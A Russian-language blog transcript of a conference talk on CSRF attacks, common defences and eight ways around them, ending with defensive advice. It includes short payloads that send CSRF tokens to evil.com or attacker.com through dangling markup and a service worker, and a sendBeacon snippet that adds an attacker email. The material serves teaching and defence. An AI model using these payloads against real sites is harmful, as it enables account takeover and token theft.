...

понедельник, 4 июня 2018 г.

CSRF-уязвимости все еще актуальны

CSFR (Сross Site Request Forgery) в переводе на русский — это подделка межсайтовых запросов. Михаил Егоров (0ang3el) в своем докладе на Highload++ 2017 рассказал о CSRF-уязвимостях, о том, какие обычно используются механизмы защиты, а также как их все равно можно обойти. А в конце вывел ряд советов о том, как правильно защищаться от CSFR-атак. Под катом расшифровка этого выступления.


О спикере: Михаил Егоров работает в компании Ingram Micro Cloud и занимается Application security. В свободное время Михаил занимается поиском уязвимостей и Bug hunting и выступает на security-конференциях

Дисклаймер: приведенная информация является сугубо мнением автора, все совпадения случайны.

В том, что CSRF-атаки работают виноват этот Cookie-монстр. Дело в том, что многие веб-приложения используют куки (здесь и далее считаем уместным называть cookies по-русски) для управления сессией пользователя. Браузер устроен так, что, если у него есть куки пользователя для данного домена и пути, он их автоматически отправляет вместе с HTTP-запросом.

Cookies


Куки — это небольшой фрагмент данных, который веб-сервер отправляет клиенту в виде name=value в HTTP-заголовке c названием «Set-Cookie». Браузер хранит эти данные на компьютере пользователя, и всякий раз при необходимости пересылает этот фрагмент данных веб-серверу в составе HTTP-запроса в HTTP-заголовке с названием «Cookie».

Куки могут иметь различные атрибуты, такие как: expires, domain, secure, httponly:

Впервые куки появились в браузере Netscape в далеком 1994 году. До сих пор многие веб-приложения используют их для управления сессией пользователя.

Рассмотрим, как работает классическая Сross Site Request Forgery (CSRF) атака.

Допустим, в нашем веб-приложении есть возможность изменять адрес доставки у пользователя, и оно использует куки для управления сессией.

У нас есть HTML-форма, которую пользователь должен заполнить: ввести адрес и нажать кнопку «Сохранить». В результате в бэкенд полетит POST-запрос с HTML-формой. Мы видим, что браузер автоматически поставил туда сессионные куки пользователя. Бэкенд, когда получит такой запрос, посмотрит, что есть такая сессия, это легитимный пользователь, и изменит ему адрес доставки.

Что может сделать атакующий?

Он может на своем сайте attacker.com разместить такую HTML-страничку, которая на самом деле сабмитит HTML-форму на сайт example.com. Так как браузер автоматически вставляет куки пользователя в HTTP-запрос, то бэкенд просто не поймет, является ли данный запрос легитимным — результат ли это заполнения формы пользователем, или это CSFR-атака — и поменяет адрес доставки для пользователя на значение, которое выгодно для атакующего.

Есть другой вариант CSFR-атаки с использованием XHR API. Если о CSFR-атаке с использованием HTML-форм слышали многие, то о данном способе знают меньше, но он тоже работает.

Обратите внимание на атрибут withCredentials, который заставляет браузер автоматически отправлять куки пользователя. Так как значение Content-type равно application/x-www-form-urlencoded, то браузер данный запрос отправит без CORS options preflight request, и опять CSFR-атака будет работать.

Рассмотрим более наглядно, как это происходит.

Исходные данные:

  • приложение example.com, которое уязвимо к CSFR,
  • пользователь,
  • сайт атакующего, где есть страничка csrf-xhr.html.

Пользователь аутентифицирован в приложении, которое находится на example.com. Если он зайдет на сайт атакующего, то автоматически выполнится POST-запрос, который поменяет адрес доставки. Браузер автоматически вставит сессионные куки в запрос и бэкенд поменяет адрес.

История CSRF-атак


Вообще о CSRF-атаках известно с 2001 года, когда их начали активно эксплуатировать. В период 2008-2012 такие уязвимости были на каждом первом сайте, в том числе:
  1. YouTube;
  2. The New York Times;
  3. Badoo;
  4. Slideshare;
  5. Vimeo;
  6. Hulu;
  7. КиноПоиск;


Насколько серьезны CSRF-уязвимости?


На самом деле, все зависит от критичности уязвимого действия. Это может быть:
  • Account takeover — атакующий захватывает аккаунт жертвы путем смены email через CSRF.
  • Privilege Escalation — повышение привилегий за счет того, что атакующий через CSRF создает нового пользователя с высокими правами в системе.
  • Remote code execution — выполнение кода за счет эксплуатации command injection в админке через CSRF.

Обратимся к тому, что говорят международные устоявшиеся классификации уязвимостей по поводу серьезности CSRF.

В проекте OWASP Top 10, который содержит 10 наиболее критичных уязвимостей в приложении, в 2010 году CSRF-уязвимости находились на 5 месте. Потом разработчики начали имплементировать различные варианты защиты и уже в 2013 году CSRF-уязвимости сместились на 8 позицию.

В список за 2017 год CSRF-уязвимости вообще не вошли, потому что якобы по статистике сейчас при penetration-тестировании они находятся только в 8% случаев.

Лично я не согласен с данной статистикой, потому что буквально за последние два года находил много CSRF-уязвимостей. Дальше я расскажу, как я это делал.

В классификации Bugcrowd VRT (Vulnerability Rating Taxonomy) Application-wide CSRF-уязвимости имеют рейтинг severity P2 (High). Выше только severity critical, то есть это достаточно серьезные уязвимости.

Рассмотрим, какие варианты защиты от CSRF существуют и как работает каждый из вариантов защиты.

1. CSRF token

  • Для каждой пользовательской сессии генерируется уникальный и высокоэнтропийный токен.
  • Токен вставляется в DOM HTML страницы или отдается пользователю через API.
  • Пользователь с каждым запросом, связанным с какими-либо изменениями, должен отправить токен в параметре или в HTTP-заголовке запроса.
  • Так как атакующий не знает токен, то классическая CSRF-атака не работает.

2. Double submit cookie
  • Опять генерируется уникальный и высокоэнтропийный токен для каждой пользовательской сессии, но он помещается в куки.
  • Пользователь должен в запросе передать одинаковые значения в куках и в параметре запроса.
  • Если эти два значения совпадают в куках и в параметре, то считается, что это легитимный запрос.
  • Так как атакующий просто так не может изменить куки в браузере пользователя, то классическая CSRF-атака не работает.

3. Content-Type based protection
  • Пользователь должен отправить запрос с определенным заголовком Content-Type, например, application/json.
  • Так как в браузере через HTML форму или XHR API невозможно отправить произвольный Content-Type cross-origin, то классическая CSRF-атака опять не работает.

4. Referer-based protection
  • Пользователь должен отправить запрос с определенным значением заголовка Referer. Бэкенд его проверяет, если он неверный, то считается, что это CSRF-атака.
  • Так как браузер не может отправить произвольный Referer через HTML форму или XHR API, то классическая CSRF-атака не работает.

5. Password confirmation / websudo
  • Пользователь должен подтверждать действие с помощью пароля (или секрета).
  • Так как атакующий его не знает, то классическая CSRF-атака не работает.

6. SameSite Cookies в Chrome, Opera
Это новая технология, которая призвана защитить от CSRF. В данный момент она работает только в двух браузерах (Chrome, Opera).
  • У куки устанавливается дополнительный атрибут — samesite, который может иметь два значения: lax или strict.
  • Суть технологии в том, что браузер не отправляет куки, если запрос осуществляется с другого домена, например, с сайта атакующего. Таким образом это опять защищает от классической CSRF-атаки.

Но, к сожалению, везде есть особенности работы браузеров, веб-приложений и их деплоймента, которые иногда позволяют обходить CSRF защиты.

Поэтому, теперь давайте поговорим о 8 способах обхода защиты, которые можно использовать на практике.

Сценарии обхода:


1. XSS (cross-sitescripting)

Если в вашем веб-приложении есть XSS, то это автоматически делает его уязвимым к CSRF, и от этого сложно защититься. Можно только смириться.

2. Dangling markup

Допустим, в нашем приложении есть уязвимость к HTML injection, но нет XSS. Например, есть Content Security Policy (CSP), которая защищает от XSS. Но атакующий все равно может внедрять HTML теги.

Если в нашем приложении реализована защита, основанная на CSRF-токенах, атакующий может внедрить такой HTML, это не закрытые теги image или form:

<img src='https://evil.com/log_csrf?html=
<form action='http://evil.com/log_csrf'><textarea> 


В результате часть DOM HTML страницы будет отправлена на ресурс атакующего. Высока вероятность того, что если атакующий правильно внедрит такой HTML, тогда то, что придет на сайт атакующего, будет содержать CSRF-токен.

Таким образом узнав токен, атакующий сможет эксплуатировать CSRF классическим способом.

3. Уязвимый субдомен

Допустим, у нас есть субдомен foo.example.com, и он уязвим к subdomain takeover или XSS. В результате subdomain takeover, атакующий полностью контролирует субдомен и может добавлять туда любые HTML-странички или выполнять JS-код в контексте субдомена. Если наш субдомен уязвим к таким вещам, то атакующий сможет обойти следующие типы CSRF-защиты:

  • CSRF tokens;
  • Double submit cookie;
  • Content-Type based protection.

Допустим, наше основное приложение использует CORS (Cross-Origin Resource Sharing) для междоменного взаимодействия. В ответ сервера вставляются два заголовка:
  1. Access-Control-Allow-Origin: foo.example.com (foo.example.com — уязвимый субдомен);
  2. Access-Control-Allow-Credentials: true — чтобы с помощью XHR API можно было сделать запрос с куками пользователя.

Если выполнены эти условия, атакующий просто сможет прочитать CSRF-токен из субдомена, который он контролирует, и дальше эксплуатировать CSRF классическим способом.

Следующий вариант. Допустим, на основном домене, который мы хотим атаковать, есть файл crossdomain.xml. Этот файл используется flash- и PDF-плагинами для субдоменного взаимодействия, и к нему разрешен доступ с любых субдоменов.

<cross-domain-policy>
    <allow-access-from domain="*.example.com" />
</cross-domain-policy>


Если атакующий может загрузить JS-файл на foo.example.com, то в этом случае он может использовать Service Worker API для субдомена foo.example.com, который на самом деле отдает flash-файл.
var url = "https://attacker.com/bad.swf"; 
onfetch = (e) => { 
   e.respondWith(fetch(url); 
}


Так как у нас есть crossdomain.xml на основном домене, который разрешает взаимодействие субдоменов, то атакующий через этот SWF просто читает CSRF токен.
Кстати, подобная уязвимость недавно была найдена в Amazon, подробнее здесь.

Даже если не сконфигурирован CORS и нет файла crossdomain.xml, но используется защита Double submit cookie, атакующий может просто вставлять куки с субдомена для родительского домена на путь, где он хочет эксплуатировать CSRF, и таким образом обойти Double submit cookie защиту.

4. Bad PDF

Этот сценарий обхода основан на PDF. В Adobe есть PDF плагин, который автоматически устанавливается при установке Adobe Reader. Этот плагин поддерживает так называемый FormCalc скрипт. Правда, сейчас PDF плагин от Adobe работает только в IE11 и Firefox ESR.

В FormCalc есть два замечательных метода: get() и post(). Атакующий с помощью метода get может прочитать CSRF токен, с помощью post отправить к себе на сайт. Так атакующий получает CSRF-токен жертвы.

Допустим, у нас есть возможность загрузить PDF-файл в веб-приложение. На самом деле это может быть даже файл другого формата, например, атакующий может попытаться загрузить PDF под видом картинки, которая является аватаром пользователя.

У приложения есть некоторый API на основном домене, который позволяет получать содержимое загруженного файла. Тогда атакующий может использовать такую HTML страничку, которая с помощью тега embed встраивает PDF-файл, который атакующий загрузил на example.com.

<h1>Nothing to see here!</h1> 
<embed src="https://example.com/shard/x1/sh/leak.pdf" width="0" height="0" type='application/pdf'>


Файл leak.pdf:

Этот файл содержит FormCalc скрипт, который как раз читает страницу Settings.action, где в DOM есть CSRF токен и отправляет с помощью метода post на сайт атакующего.

Так как PDF загружается с сайта example.com, то сам этот PDF имеет доступ полностью ко всему origin https://example.com, и может оттуда читать данные, не нарушая режим Same Origin Policy (SOP).

Дополнительный фокус в том, что для PDF плагина не важно, с каким Content-Type отдается PDF-файл, и даже в HTTP-ответе могут присутствовать другие заголовки (например, Content-Disposition). PDF плагин все равно будет рендерить этот PDF и выполнять FormCalc скрипт.

5. Cookie injection

Если используется Double submit cookie защита, то если атакующий сможет каким-либо образом внедрить куки, то это game over.

Один из наиболее популярных вариантов в этом сценарии — это CRLFinjection.

Если атакующий может вставлять в ответ сервера дополнительные заголовки, то он просто может добавить заголовок Set-Cookie с нужными куками и обойти CSRF-защиту.

Другой вариант связан с особенностями обработки куков браузером.

Например, в Safari можно через запятую вставлять новые куки (comma-separated cookies). Допустим, у нас есть URL-параметр в заголовке с именем language. Мы его обрабатываем и записываем пользователю в куки выбранное значение language. Если атакующий вставит запятую, то он может вставить и дополнительные куки с любым именем.

Также в обходе CSRF-защиты могут посодействовать баги браузера. Например, в Firefox была возможность внедрять куки через SVG-картинку (CVE-2016-9078). Если у нас есть HTML-редактор и мы разрешаем пользователю вставлять image-теги, то атакующий может просто в SRC-атрибуте указать на SVG-картинку, которая установит нужные куки.

6. Change Content-Type

Некоторые разработчики считают, что если используется нестандартный формат данных в теле POST-запроса для общения с бэкендом, то это может спасти от CSRF. На самом деле это не так.

В качестве примера приведу уязвимость, которую я недавно нашел в одном очень популярном сервисе по управлению заметками.

Там использовался API, который использует Apache Thrift (бинарный формат данных) и куки для управления сессией. Допустим, чтобы добавить новую заметку, пользователь должен был отправить такой POST-запрос. В теле передавались бинарные данные и указывался Content-Type: application/x-thrift.

POST /user/add/note HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://example.com
Cookie: JSESSIONID=728FAA7F23EE00B0EDD56D1E220C011E.jvmroute8081;
Connection: close
Content-Type: application/x-thrift
Content-Length: 43


На самом же деле в бэкенде этот Content-Type не валидировался. Можно было его поменять на text/plain и с помощью XHR API эксплуатировать эту CSRF-уязвимость, просто передав бинарные данные в теле POST-запроса.

На самом деле защита, основанная на Content-Type — это очень плохой вариант защиты. Он в большинстве случаев обходится.

7. Non-simple Content-Type

Через HTML-форму или с помощью XHR API мы можем отправить следующие content types:

  • text/plain;
  • application/x-www-form-urlencoded;
  • multipart/form-data.

На самом деле есть возможность отправлять любые значения Content-Type через:
  • баги в браузерах (например, Navigator.sendBeacon);
  • плагины: Flash plugin + 307 redirect и PDF plugin + 307 redirect;
  • фреймворки на бэкэнде.

Некоторые фреймворки, например, JAX-RS фреймворк Apache CXF поддерживает в URL параметр с именем ctype. В этом параметре можно указать любой Content-Type, бэкенд посмотрит на этот параметр и будет его использовать вместо Content-Type, которые передается в header (ссылка на источник).

Довольно известный баг в браузере Chrome был найден в 2015 году, после этого примерно через месяц попал в публичный доступ, но был исправлен только в 2017 году. Этот баг позволял отправлять POST-запрос с любым Content-Type на другой origin с помощью API, которое называется Navigator.sendBeacon().
Как выглядела эксплуатация?

<script> 
 function jsonreq() { 
  var data = '{"action":"add-user-email","Email":"attacker@evil.com"}'; 
  var blob = new Blob([data], {type : 'application/json;charset=utf-8'}); 
  navigator.sendBeacon('https://example.com/home/rpc', blob ); 
 } 
 jsonreq(); 
</script>


Мы создаем новый blob с нужным Content-Type и просто отправляем его с помощью Navigator.sendBeacon().

Еще один сценарий обхода, который до сих пор работает и поддерживается в браузерах — обход с помощью flash-плагина.

Даже есть сайт thehackerblog.com, где уже есть готовая флэшка, вы просто указываете URL, header, нужный Content-Type и данные, которые надо передать — отправляете, и в бэкенд улетает POST-запрос с нужным Content-Type.

Но есть одна хитрость — нельзя просто указать URL сайта, который мы атакуем. Нужно указать ресурс, который сделает redirect с кодом 307 на ресурс, который мы атакуем. Тогда это будет работать.

8. Spoof Referer

Последний вариант обхода защиты от CSRF основан на Referer. Есть баг в Microsoft Edge браузере, который до сих пор не исправлен и позволяет подделывать значение Referer. Но он работает, к сожалению, только для GET-запросов. Если атакуемый бэкенд не отличает GET от POST, то этот баг можно эксплуатировать.

Если все же нам надо POST, то есть небольшая хитрость. Мы можем отправить header Referer с помощью PDF плагина и FormCalc.

Где-то год назад можно было с помощью PDF плагина отправлять вообще любые header’ы, в том числе host, но потом Adobe закрыл эту возможность создав черный список header’ов. То есть если мы укажем Referer в заголовке, то этот заголовок просто не отправится.

Вообще FormCalc позволяет нам легально отправлять любой Content-Type. Если мы будем вставлять символы carridge return и line feed, то сможем добавлять в запрос дополнительные header’ы.

Что будет, если мы внедрим header Referer http://example.com?

Понятно, что он не находится в черном списке и в бэкенд будет отправлен header с именем Referer http://example.com.

Некоторые серверы, например, WildFly или Jboss, воспринимают пробел как конец имени HTTP-заголовка, то есть двоеточие `:`. Таким образом такие сервера увидят, что к ним пришел Referer со значением http://example.com. Таким образом мы подменим Referer.

Это итоговая таблица. В столбцах представлены варианты защиты от CSRF, а в строках — методы обхода. В каждой ячейке указаны браузеры, в которых работает этот метод:

  • All означает, что для всех браузеров;
  • All* означает браузеры, которые не поддерживают SameSite Cookies, т.е. все кроме Chrome и Opera.

Наиболее кардинальный и работающий вариант защититься от CSRF-атак — это избавиться от куков и использовать header с токенами.

Но если вы все-таки не готовы отказаться от куков для управления пользовательской сессией:

  • Моделируйте угрозы и проверяйте реализацию CSRF-защиты (см. Итоговую таблицу).
  • Имплементируйте SameSite Cookies. Сейчас только два браузера поддерживают, но в дальнейшем, наверное, их будет больше.
  • Комбинируйте различные CSRF-защиты — defense in depth.
  • Спрашивайте у пользователя пароль для выполнения критичных действий.
  • Отдавайте загружаемые пользователем файлы с отдельного домена.

Не прошло и полугода, а следующий хайлоад уже через месяц — Highload++ Siberia.

Хотим привлечь ваше внимание к некоторым из отобранных докладов:


Let's block ads! (Why?)

Комментариев нет:

Отправить комментарий